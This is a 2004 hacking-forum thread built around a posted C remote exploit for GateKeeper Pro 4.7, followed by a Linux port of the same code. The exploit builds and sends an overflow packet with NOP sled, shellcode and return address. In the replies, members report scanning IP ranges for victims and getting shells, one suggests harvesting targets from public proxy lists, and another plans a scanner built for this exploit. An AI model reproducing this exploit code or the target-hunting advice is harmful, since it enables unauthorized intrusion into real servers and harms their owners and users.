/******************************************************************/ /* [Crpt] GateKeeper Pro 4.7 remote sploit by kralor [Crpt] */ /******************************************************************/ /* bug discovered & coded by: kralor [from coromputer] */ /* tested on: win2k pro and winXP */ /* it uses a static offset to hijack execution to the shellcode.. */ /* so it is 100% universal. Nothing more to say.. */ /******************************************************************/ /*informations: www.coromputer.net,irc undernet #coromputer */ /******************************************************************/
if(WSAStartup(0x0101,&wsaData)!=0) { printf("[i] error: unable to load winsock\r\n"); return -1; } printf("[-] Getting version through administration interface\r\n"); sock=cnx(argv[1],ADMIN_PORT); if(!sock) printf("[i] warning: couldn't connect to admin int to get version, trying anyway\r\n"); else { send(sock,"I'm a script kiddie\r\n",21,0); memset(buffer,0,sizeof(buffer)); recv(sock,buffer,sizeof(buffer),0); memset(buffer,0,sizeof(buffer)); recv(sock,buffer,sizeof(buffer),0); ptr=strstr(buffer,"GateKeeper@"); if(!ptr) printf("[i] waring: version not found, trying anyway\r\n"); else { ptr+=11; if(strncmp(ptr,VERSION,strlen(VERSION))) { printf("[i] error: wrong version\r\n"); return -1; } printf("[i] %-44s ...OK\r\n","version"); } } printf("[i] Starting to exploit\r\n"); sock=cnx(argv[1],PORT); if(!sock) return -1; printf("[i] Preparing magic %-28s ...","packet"); memset(useme,0x90,SIZE); memcpy(&useme[RET_POS-0x8ac],shellc0de,sizeof(shellc0de)); *(unsigned long*)&useme[RET_POS] = RET_ADDR; // eip pointing to jmp ebx in exe memory memcpy(&useme[RET_POS+12],"\xe9\xed\xf6\xff\xff",5); // jmp $ - 0x92c printf("Done\r\n"); printf("[i] Sending magic packet ..."); send(sock,REQ,strlen(REQ),0); send(sock,useme,sizeof(useme),0); send(sock,REQ2,strlen(REQ2),0); printf("Done\r\n"); closesocket(sock); return 0; }
Owned
roto
Feb 24 2004, 06:15 PM
awesome, just awesome thx yet again kralor
Raedemer
Feb 24 2004, 06:20 PM
I've tried this exploit yesterday and it works perfect. Although it's hard to find a target for it, I scanned a couple of ranges but none are hackable
Anyway, kralor ownage...
Max_Payne
Feb 24 2004, 06:27 PM
this exploit has been discussed in the File Downloads for a while and doesn't look too good..check out the threads in the downloads section
anyway...good luck with it...
FiNaLBeTa
Feb 24 2004, 06:30 PM
I checked a couple 100 IP's, no luck with it. And thats all i have to say about that
THoRaX
Feb 24 2004, 06:32 PM
i checked MANY IP's, but no shells at all not a very good exploit if you ask me.. has anyone received a shell with this exploit?
Leonnetje
Feb 24 2004, 06:56 PM
No shells here.... this 1 was already dead before it was there.....
Silent Bob
Feb 24 2004, 07:10 PM
yeah it kinda sucks :/
invisible-boy
Feb 24 2004, 08:03 PM
thx,nice exploit code good luck...
roto
Feb 24 2004, 08:15 PM
dead eh? maybe i wont even bother with it lazy > effort
Arnie
Feb 24 2004, 09:52 PM
Great work mate, you're posting nice stuff! Gonna play arround with this @ work, we actually use that crap there i think
vnet576
Feb 24 2004, 10:03 PM
You don't approach exploits like this with the same techniques as other exploits. Port sweeping ranges will not cut it with this exploit. Think about it, where are you likely to find targets for this? PUBLIC PROXY SERVER WEBSITES! Go to one of those websites parse the ips from them and then banner scan.
shaun2k2
Feb 25 2004, 03:47 PM
In most cases, real hackers don't use Windows, so I ported this exploit to UNIX:
CODE
/******************************************************************/ /* [Crpt] GateKeeper Pro 4.7 remote sploit by kralor [Crpt] */ /******************************************************************/ /* bug discovered & coded by: kralor [from coromputer] */ /* tested on: win2k pro and winXP */ /* it uses a static offset to hijack execution to the shellcode.. */ /* so it is 100% universal. Nothing more to say.. */ /******************************************************************/ /*informations: www.coromputer.net,irc undernet #coromputer * * * * Ported to Linux by shaun2k2 - shaunige@yahoo.co.uk * * www.nettwerked.co.uk */ /******************************************************************/
printf("[-] Getting version through administration interface\r\n"); sock=cnx(argv[1],ADMIN_PORT); if(!sock) printf("[i] warning: couldn't connect to admin int to get version, trying anyway\r\n"); else {
/* If you really aren't a script kiddie, you might wanna remove * these;) */ send(sock,"I'm a script kiddie\r\n",21,0); memset(buffer,0,sizeof(buffer)); recv(sock,buffer,sizeof(buffer),0); memset(buffer,0,sizeof(buffer));
/* recv the daemon version. */ recv(sock,buffer,sizeof(buffer),0);
/* Checking if the daemon is GateKeeper. */ ptr=strstr(buffer,"GateKeeper@");
if(!ptr) printf("[i] warning: version not found, trying anyway\r\n"); else { ptr+=11;
/* Fill the exploit buffer with NOPs (hex 0x90). */ memset(useme,0x90,SIZE);
/* Copy the shellcode into the exploit buffer. */ memcpy(&useme[RET_POS-0x8ac],shellc0de,sizeof(shellc0de));
/* Return address here. The ret address is placed in a specific * place, as kralor seems to know exactly where it needs to be. */ *(unsigned long*)&useme[RET_POS] = RET_ADDR; memcpy(&useme[RET_POS+12],"\xe9\xed\xf6\xff\xff",5); // jmp $ - 0x92c printf("Done\r\n"); printf("[i] Sending magic packet ..."); send(sock,REQ,strlen(REQ),0);
/* Inject the exploit buffer! */ send(sock,useme,sizeof(useme),0); send(sock,REQ2,strlen(REQ2),0); printf("Done\r\n"); close(sock);
/* return sucess. */ return 0; }
Enjoy.
Hehe, I am quite curious, why does kralor write his exploits for Windows? Hehe...
-Shaun.
yeyo
Feb 25 2004, 05:32 PM
I installed the Gatekeeper Pro 4.7 at my lan and tried the xploit ....
Works very well
I got a shell
DvilleStoner
Feb 26 2004, 07:32 AM
QUOTE (shaun2k2 @ Feb 25 2004, 03:47 PM)
Hehe, I am quite curious, why does kralor write his exploits for Windows? Hehe...
-Shaun.
With me being a primary windows secondary linux user, i dont mind. . .=]
Feuerstein
Feb 29 2004, 12:05 PM
i'd like to post a specialized scanner for this exploit, but i am, as always, in the need of some banner examples for this server
if anyone got that f****** banners please contact me via pn or post em here. i'll post the scanner in the dl section than.
linuxwolf
Feb 29 2004, 04:42 PM
I do =P. Then i gotta damn port em to linux... Sean im with you all the way =/~ Oh,, any reason why i cant post in the gso software development forum? I'm quite interested......... =)
linuxwolf
Feb 29 2004, 04:44 PM
Oh feuerstein, for nix or windows? Ive been thinking i might write one in perl... and even make it usable by http with cgi.. =)
gsicht
Feb 29 2004, 05:21 PM
lol,
CODE
/* If you really aren't a script kiddie, you might wanna remove * these;) */ send(sock,"I'm a script kiddie\r\n",21,0);
shaun2k2
Feb 29 2004, 06:23 PM
QUOTE
I do =P. Then i gotta damn port em to linux... Sean im with you all the way =/~ Oh,, any reason why i cant post in the gso software development forum? I'm quite interested......... =)
Feel free to post there mate.
QUOTE
lol,
CODE
/* If you really aren't a script kiddie, you might wanna remove * these;) */ send(sock,"I'm a script kiddie\r\n",21,0);
Hehe, yeah, I added that comment .
-Shaun.
Feuerstein
Mar 1 2004, 06:11 PM
QUOTE (linuxwolf @ Feb 29 2004, 06:44 PM)
Oh feuerstein, for nix or windows? Ive been thinking i might write one in perl... and even make it usable by http with cgi.. =)
hm i'm writing in c but currently mostly for win32 and i'm not well experienced in writing lx socket and multithreading stuff.
but code for win32 is ready except this banner ^^
tazthedev
Mar 20 2004, 04:08 AM
there's a virus in that file !!!!
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.